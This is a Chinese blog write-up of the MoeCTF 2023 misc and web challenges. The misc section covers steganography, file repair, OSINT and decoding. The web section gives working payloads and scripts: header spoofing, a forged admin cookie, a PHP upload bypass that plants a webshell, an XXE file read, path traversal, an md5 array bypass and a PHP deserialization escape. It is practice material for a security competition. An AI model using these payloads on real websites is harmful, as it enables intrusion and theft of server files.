MoeCTF 2023 misc&web wp

官方WP

https://github.com/XDSEC/MoeCTF_2023

MISC

misc入门指北

base64解码

moectf{h@v3_fun_@t_m15c_!}

打不开的图片1

拿到空文件去010看看

尾巴FF D9符合jpg,考查文件头缺失

补充jpg文件头即可

保存后,改后缀为.jpg后打开

没有东西,才看到ascii里有exif,考虑属性藏了东西

藏了hex,解码

moectf{XDU_i5_v3ry_6e@u2ifu1}

打不开的图片2

根据提示猜测文件头尾不相同

改头为png格式即可

刚好改前面四个就行

moectf{D0_yOu_1ik3_Bo7@ck_?}

狗子(1) 普通的猫

题目给的一个wav文件,但flag实际就在ascii最底下

moectf{eeeez_f1ag_as_A_G1ft!}

building_near_lake

直说过程

百度识图,社到地址为厦门大学翔安校区图书馆

然后百度地图拾取器,定位直接提取经纬度

设备信息在exif里面有型号,复制到网上一搜就是红米k60,再搜其发布时间即可

moectf{P0sT_Y0uR_Ph0T0_wiTh_0Riginal_File_is_n0T_a_g00d_idea_YlJf!M3rux}

尊嘟假嘟?

先拿到txt文本

在github里搜索到对应加密    GitHub - SnailSword/zdjd: 人类语言与尊嘟语的转换器。

在线解密即可

密码已经给出

key:字符串zundujiadu?哈希加密后b60开头哈希值末尾8个字节

iv(偏移量):字符串dududu?哈希加密后272开头哈希值末尾8个字节

hint1:比特币地址的加密方式

hint2:此次加密的名称为“bl***sh”

分别行动

哈希加密算法 MD5|SHA-1|SHA-2|SHA-256|SHA-512|SHA-3|RIPEMD-160哈希Hash加密算法 iP138在线工具

比特币区块链(三) | 比特币地址

cyberchef直接搜bl找对应的就行

总结如下

赛博厨子解密

moectf{wow_you_aRe_the_masteR_of_Zundujiadu_92WPIBung92WPIBung9?WPIBung}

烫烫烫

坤坤,以后做全试一遍得了,目前还不太懂这类编码...

文本内容可以用decode text解决,选择UTF-7模式,并且input ouput的右下角都要选择UTF-7

这是你的flag

a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262

但是flagAES加密了,key是下面这行字的sha256hash值的开头是b34edc782d68fda34dc23329

所以说,codepage真的很重要啊(

开头有了但没有后面,试试加密下后面的文本

给了句子的前面部分,所以这里直接把句子的sha256复制就行

这里记录下各个位置的参数选择

狗子(2) 照片

尝试了很多,一开始zsteg还不行,后来m神说图片太大,要改宽高变小点再试

高度改成和宽度一样再试试

moectf{D0ggy_H1dd3n_1n_Pho7o_With_LSB!}

base乐队

拿到字符串放到cyberchef

看到两个=但不是都在最后,考虑可能有凯撒或者栅栏或者rot啥的吧,直接工具梭哈一下

栅栏密码,把明文再放入cyberchef

moectf{Th4_6@nd_1nc1ud45_F3nc4_@nd_b@s3}

奇怪的压缩包

附件下来看到里面有ppt,结合题目说不是压缩包,尝试改后缀.ppt

Ctrl+a 全选找找是否有藏起来的文字框

发现第二页是把字体改白色和背景混起来了

第三页同样方法,藏在图片后面,但123456是假的,注释才是flag内容

第四页同理

最后一页按次方法没用,但估计最后一段就在这里了,根据前面得到flagmoectf{2ip_?_n0_i4

也可以猜到是ppt或者pptx,估计一直爆破也能出

通过m神提示:还可以ctrl+f搜索一下

锁定在这个框,一直拖着这个框可以看到,最后一点flag

moectf{2ip_?_n0_i4_pp4x!}

机位查询

第一张抓远处南京站,城市便捷,还有下面的店铺猪霸王

百度地图里面定位好后,切3D到这条路上一看,只有一栋高楼对应,jiashi

第二张很明显,百度地图直接定位中山路美食街,切3D进门口的路口处观察

对面只有一个博物馆和一个高楼,博物馆太矮所以锁定百盛广场   baisheng

第三张图可找死我了,这个拍摄角度非常刁钻,我抓的是时代丽都和中国人保还有95500(太平洋保险)

定位也到了,但最后发现太平洋保险离另外两个特别远,后来才知道做法不对,这张图exif有经纬度

在线查看图片经纬度_图片Exif信息_图片定位信息_GPS信息 - StrErr.com

google地图打开

试了亚朵发现不行,后来百度地图也定位到这里才发现这栋楼叫汇金苑..         huijin

moectf{jiashi_baisheng_huijin}

狗子(3) 寝室

使用压缩包脚本(来自紫竹老公写的)

Python


import zipfile
import os
import rarfile
import tarfile
import py7zr

a=9999
while a!=0:
  zipname='shell'+str(a)+'.zip'
  if(os.path.exists(zipname)):
    zfile=zipfile.ZipFile(zipname)
    zfile.extractall()
    zfile.close()
    a-=1
  rarname='shell'+str(a)+'.rar'
  if(os.path.exists(rarname)):
    rfile=rarfile.RarFile(rarname)
    rfile.extractall()
    rfile.close()
    a-=1
  tarname='shell'+str(a)+'.tar.gz'
  if(os.path.exists(tarname)):
    rfile=tarfile.open(tarname)
    rfile.extractall()
    rfile.close()
    a-=1
  zname='shell'+str(a)+'.7z'
  if(os.path.exists(zname)):
    file=py7zr.SevenZipFile(zname)
    file.extractall()
    file.close()
    a-=1

把该py文件和shell9999文件放一个目录下直接运行脚本即可

moectf{Ca7_s133p1ng_und3r_zip_5hell5}

你想要flag

拿到音频文件查看下频谱图

steghide

根据文件名和编码前缀可知为rabbit加密

moectf{Mu5ic_1s_v3ry_1nt23esting_!}

照片冲洗

解题步骤:

题目仅给了一张图,根据题目描述猜测是两张图的盲水印,这里先要把图片文件分成两张图

010搜索png文件尾发现有两个并且一个在中间一个在末尾,手工分离一下,并添加好文件头

  • PNG (png)
    文件头:89 50 4E 47 0D 0A 1A 0A
    文件尾:AE 42 60 82

利用工具操作即可

注意模式和先后顺序均有讲究

moectf{W0w_you_6@v3_1earn3d_blind_w@t3rma2k}

狗子(4) 故乡话

解题步骤:

true1false0

眯眼睛看隐隐约约好像有东西在里面

0.   10

明显多了,紫竹思路是猜测附魔台的语言,果真啊牛逼

对照表翻译即可

moectf{dontanswer}

weird_package

010打开压缩包看到很多压缩包隐写在里面

但是binwalk不出来,猜测是要自己拼接

但是bandizip可以直接修复

打开后都是类似base64的玩意,按队里佬提示用cyberchef解密

八个假的,只有一个是真的flag

web

题目名称: http 

知识点:   http认证绕过

解题步骤:

按照要求完成五个任务即可

Payload:

GET:UwU=u

POST:Luv=u

cookie:character=admin

x-forwarded-for:127.0.0.1

User-Agent: MoeBrowser

Post外其余都得在Upgrade上面

moectf{basic_http_knowledge_I-MHSmMgztyYeW4SgAbRP4Fyu0Qx13Or}

WEB

web入门指北

知识点:hex base64

hexbase64

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

彼岸的flag

知识点:源码泄露

一开始以为是啥,原来就是源码泄露

在管理员撤回的信息这里有flag的注释

moectf{find_comments_9qv7ywbgbwCasdsfanngjHxGfgQVUKIw}

cookie

知识点:伪造token

题目有附件

按照方法先注册并且登录后访问/flag

头:POST /register

显示用户已存在,我们使用自己的账号

然后登录

获得token

这个是base64加密的

解密为:{"username": "nanian", "password": "123456", "role": "user"}

放包后手动跳转到/flag

flag{sorry_but_you_are_not_admin}

这个假flag提示了我们role可能要改成admin(毕竟只有这个是新出来的东西)

{"username": "nanian", "password": "123456", "role": "admin"} base64 encode

放入浏览器的cookie的token里就行

再次访问/flag

moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}

 gas!gas!gas!

开始游戏会给出题目,然后对应题目选择正确的选项答案即可,关键在于有时间限制,所以需要编写脚本

Python
import requests
from bs4 import BeautifulSoup
url='http://localhost:11499/'  #URL
session=requests.Session()
fx = 0
sd = 0
data={"driver":"aaa","steering_control":fx,"throttle":sd}
re=session.post(url=url,data=data)
for i in range(7):
    if '
向左' in re.text:
      fx=1
    if '向右' in re.text:
      fx=-1
    if '弯道直行' in re.text:
      fx=0
    if '抓地力太小了' in re.text:
      sd=0
    if '抓地力太大了' in re.text:
      sd=2
    if '保持这个速度' in re.text:
      sd=1
    soup = BeautifulSoup(re.content, "html.parser")
    info_div = soup.find("div", {"id": "info"})
    print(info_div.text)
    data={"driver":"aaa","steering_control":fx,"throttle":sd}
    re=session.post(url=url,data=data)
    print(data)
    #来自紫竹编写的脚本~
  

助神为什么神!

moectf{Beautiful_Drifting!!_nUhVFFm2dbVI7EU7NC0_F4dDz-n6jjQ7}

moe图床

知识点:文件上传  双后缀绕过 源码泄露

先正常上传一个文件

发现调用了upload.php,访问一下

源码泄露,抓住重点位置

比如我上传muma.png.php的话

explode():把它们分成muma   png   php 三段

然后count计数为3>2进入if内,然后让segment=第二个位置也就是png,再进第二个if里判断是否为png

还要注意文件大小和类型。

这里上传一个正常图片,然后改文件名和内容即可

蚁剑连接 key1,在根目录找到flag

moectf{hmmm_improper_filter_G_x2kN18o5IQp_fuYySgbw6IUVvvU_Sm}

了解你的座驾

知识点:xxe

提示flag在根目录中,抓包以下

xxe还没学,关键点在下图

直接套m神脚本

Python
import requests


headers = {
    'Host': 'localhost:52776',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'multipart/form-data; boundary=---------------------------15719226131077920622631907538',
    'Origin': 'null',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'cross-site',
    'Sec-Fetch-User': '?1',
}

data = '''-----------------------------15719226131077920622631907538
Content-Disposition: form-data; name="xml_content"
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///flag" >
]>
<xml><name>&b;</name></xml>

-----------------------------15719226131077920622631907538--
'''

response = requests.post('xxx
网址位置xxx', headers=headers, data=data)   #URL

print(response.text)

moectf{Which_one_You've_Chosen?0n8i1NDyjS2SD5yAUtpdBqqvH8vXFeSu}

大海捞针

知识点:URL爆破

按照要求先进/?id=1看看

跟彼岸的flag一样属于源码泄露,只不过这次要爆破从1-1000的URL,只有一个里面有flag

BP抓包后到Intruder加变量,再加一个1-1000的字典然后爆破即可

Python
desktop_path = "xxx"  # 替换为您的路径

with open(f"{desktop_path}/number_dictionary.txt", 'w') as file:
    for number in range(1, 1001):
        file.write(str(number) + '\n')
#数字字典脚本

找到一个不同长度的进去搜索moectf即可得到flag

还可以使用py脚本遍历网址查看htmlmoectf关键词然后输出其注释内容也可以

来自chatgpt写的脚本

Python
import requests
from bs4 import BeautifulSoup, Comment
import time


def check_for_moectf(comment):
    return "moectf" in comment


def main():
    base_url = "https://example.com/?id="  #
添加自己的URL
    found_moectf = False

    for id_num in range(1, 1001):
        url = base_url + str(id_num)
        response = requests.get(url)

        if response.status_code == 200:
            soup = BeautifulSoup(response.text, "html.parser")
            comments = soup.find_all(string=lambda text: isinstance(text, Comment))

            for index, comment in enumerate(comments, start=1):
                print(f"Comment {index} at {url} (ID: {id_num}): {comment}")

                if not found_moectf and check_for_moectf(comment):
                    print(f"Found 'moectf' in comment at {url} (ID: {id_num}): {comment}")
                    found_moectf = True
                    break  # 找到后立即结束当前页面的注释检查
        else:
            print(f"Failed to fetch the webpage at {url}.")

        # 添加时间间隔,模拟正常的访问速度
        time.sleep(1)  # 在每个请求之后等待1秒

        if found_moectf:
            break  # 找到 moectf 后立即结束整体检查


if __name__ == "__main__":
    main()

moectf{script_helps_QKmIks5AEfKv4t-VhXQvlIGufYuK5bLp}

meo图床

知识点:   file_get_contents()  php弱类型比较

正常流程上传图片之后

经过bp抓包发现name参数里的值为文件名,改成flag看回显

尝试../,最后在根目录处得到提示

直接访问URL/Fl3g_n0t_Here_dont_peek!!!!!.php

简单弱类型md5比较,直接数组绕过

?param1[]=1&param2[]=2

moectf{oops_file_get_contents_controllable_Vr83kqkQn07GeQ_FSCvDh_-KAXgF7mLP}

夺命十三枪

知识点:反序列化漏洞 字符串逃逸

Hanxin.exe.php里也有源文件

从下面读吧,flag是环境变量,只要满足让Spear_Owner=MaoLei就可以得到flag

Spear_Owner是类Omg_It_Is_So_Cool_Bring_Me_My_Flag的变量

再看第一张图的$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$Nwe_visitor调用了此类创建实例,然后被反序列化后赋值给变量before

before再运行了Make_a_Move($move)方法,也就是第二张图十三枪那里,其作用是对符合条件的字符串进行替换

结束此方法后的值给到after,并对其进行序列化,接着运行Omg_It_Is_So_Cool_Bring_Me_My_Flag类里的判断,如果此时Spear——Owner的值是MaoLei的话就可以获得flag

这里在十三枪替换处存在一个字符串逃逸的漏洞,具体原理参考资料

我这里用第一枪,替换一个逃逸一个字符

关键payload:";s:11:"Spear_Owner";s:6:"MaoLei";}占35格

那就给35个第一枪上去di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

这里总共420格,最后补其句式即可

Payload

GET:URL/?chant=o:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flags":2{s:5:"Chant"s:420:"di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

这里还可以用第七枪,第七枪一次逃逸5

  • 4
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 8
    评论
moectf2023 是一个比赛或活动的名称,但在提供的引用内容中没有提及和解释这个名称的具体含义。根据给出的信息,引用中提到了一个关于 moeCTF 的信息,但是并没有提及到 moectf2023 这个特定的事件。引用是一段代码,与 moectf2023 也没有直接关联。引用中也没有提及到 moectf2023。 所以,根据提供的引用内容,无法确定 moectf2023 具体指的是什么。如果有其他相关的信息,请提供更多的细节,以便我能够给出更准确的回答。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [百度贴吧签到网站源码Java-moectf-wp:XDSEC协会2019招新赛moectf之xiaohuihuiWriteup](https://download.csdn.net/download/weixin_38606294/19412604)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [MoeCTF2022 部分Crypto 复现](https://blog.csdn.net/Luiino/article/details/127702178)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Nanian233

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值